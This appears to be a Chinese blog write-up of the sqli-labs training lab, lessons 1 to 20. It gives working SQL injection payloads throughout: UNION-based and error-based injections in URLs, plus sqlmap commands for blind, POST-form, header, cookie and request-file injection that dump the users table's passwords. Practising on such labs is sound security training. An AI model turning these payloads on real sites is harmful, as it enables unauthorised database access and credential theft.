1. 程式人生 > >sqli-labs 1-20實驗記錄

sqli-labs 1-20實驗記錄

1. less1

首先輸入?id=1 查詢是否有注入點.

 

輸入單引號 回顯報錯 說明有注入漏洞 而且是數字型

 

輸入 1’ or 1=1 order by 1 猜測列名#

這裡發現#不能變成url編碼 查一下 應該是%23

http://localhost/sqli-labs-master/Less-1/?id=1%27%20or%201=1%20order%20by%201%20#

 

order by 4 的時候報錯,說明select語句應該有三列.

然後獲取當前資料庫:

1’ or 1=1 union select 1,2,database() %23

但是後來知道 這裡無論怎樣返回的都是第一列的結果,所以把id=1改成id=0再注入

 

所以可以知道當前資料庫的名稱是 security

然後獲取當前資料庫中的表:

 

0' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database(),3 %27

 

可以看到 表名有 emailsrefersuagentsusers 接下來就是獲取users中的欄位

0' union select 1,2,group_concat(column_name)from information_schema.columns where table_name ='users' %23

 

 

表中的欄位有 idusernamepassword

之後獲取我們感興趣的欄位的內容:

http://localhost/sqli-labs-master/Less-1/?id=0'%20union%20select%201,2,group_concat(id,username,password)from%20users%20%23

 

 

 

 

第一道題目完成.

 

 

2. less2

這道題是數字型注入:

 

所以和第一道題類似,不需要加單引號就可以。

獲取當前資料庫

0 union select 1,2,database() %23

 

然後獲取表:

0 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() %23

 

 

然後獲取欄位:

0 union select 1,2,group_concat(column_name)from information_schema.columns where table_name = 'users' %23

 

然後獲取內容:

0 union select 1,2,group_concat(password) from users %23

 

 

第二道題完成。

 

3. less3

 

看回顯報錯 程式碼中 id 應該是 id =(‘$id’)

 

0') union select 1,2,3 %23實驗一下是不是這麼構造:

 

成功 所以接下來像前三關一樣獲取當前資料庫,表,欄位,內容就可以了.

 

 

 

 

 

第三題完成

 

4. less4

 

發現輸入單引號 沒有報錯 輸入雙引號:

 

所以和上一個很像,應該用”)拼湊就可以了。

試一下 還是 union select 1,2,3 %23

 

成功了。

之後還是老方法,獲取資料庫,表,欄位,內容

 

 

 

 

第四道題目完成.

 

5. less5

 

本關用前面的方法都無法注入回顯,因為程式碼中不顯示內容。所以需要利用基於錯誤的語句來注入。

 

http://localhost/sqli/Less-5/?id=1'and(select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password)fromuserslimit0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+

 

這裡需要不停的重新整理 直到顯示出來為止。

 

6. less6

和第五道題類似,但是需要把單引號改成雙引號:

http://localhost/sqli/Less-6/?id=1" and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+

 

 

 

 

7. less7

首先構造能夠注入的語句, 發現是 id=1’))型別。

 

這裡題目應該是匯出檔案:

但是上網搜了之後 用輸出檔案的語句 發現不行 只好用sqlmap了。。。

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1

 

 

 

之後獲取當前資料庫名稱:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 --current-db

 

之後獲取表:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security --tables

 

 

然後獲取users中的欄位:

-u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security -T users --columns

 

 

最後獲取password內容:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security -T users -C password --dump

 

 

7關完成

8. less8

在這一題,資料庫的錯誤不再回顯到頁面上,但是我們可以發現當我們構造異常查詢時,頁面上的you are in會消失,這就是典型的布林盲注

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1

可以看到 要比上一道題複雜的很多 也耗費時間了:

 

 

之後獲取當前的dbs

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 --current-db

 

然後獲取其中的表:

 sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security --tables

 

然後獲取users中的欄位:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security -T users --columns

 

然後獲取password中的內容:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security -T users -C password --dump

 

第八關完成.

9,10關和第八關類似 都有時間注入 所以用sqlmap跑就可以 ,或者自寫python指令碼.

 

11. less11

本關開始有post注入了

需要用到sqlmap中的一個 --form 的語句:

可以獲取頁面 然後構造需要post的資料:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms --dbs

 

 

然後獲取當前資料庫:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms ---current-db

 

然後獲取表名:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms  -D security --tables

 

然後獲取users的欄位:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms  -D security -T users --columns

 

最後獲取password的內容:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms  -D security -T users -C password --dump

 

 

12,13,14:less12 less13 less14

這關和上關類似 直接sqlmap一路到底就可以。

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-12/ --forms -D security -T users -C password --dump

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-13/ --forms -D security -T users -C password --dump

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-14/ --forms -D security -T users -C password --dump

 

15:less15

這關 需要設定更高的 level:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-15/ --forms -D security -T users -C password --dump --level3

更加複雜:

 

 

 

 

16. less16

第十六關 和第十五關類似:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-16/ --forms -D security -T users -C password --dump --level3

 

17. less17

17關嘗試 用burp抓包,然後獲取整個頁面的資訊後儲存在/root/home/1.txt檔案中

然後

sqlmap -r "1.txt" -p passwd --tech E --dbms mysql --batch -v 0

18. Less18

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-18/ --user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*" --level 4 --dbs --threads 10 --technique BEST batch

19. less19

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-19/ --referer=" http://127.0.0.1/sqli-labs-master/Less-19/*" --level 4 --dbs --threads 10 --technique BEST batch

20.

cookie注入:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-20/ --cookie="UM_distinctid=16668b878941c2-088ac16771352f-38694646-12c000-16668b878961048" --dbs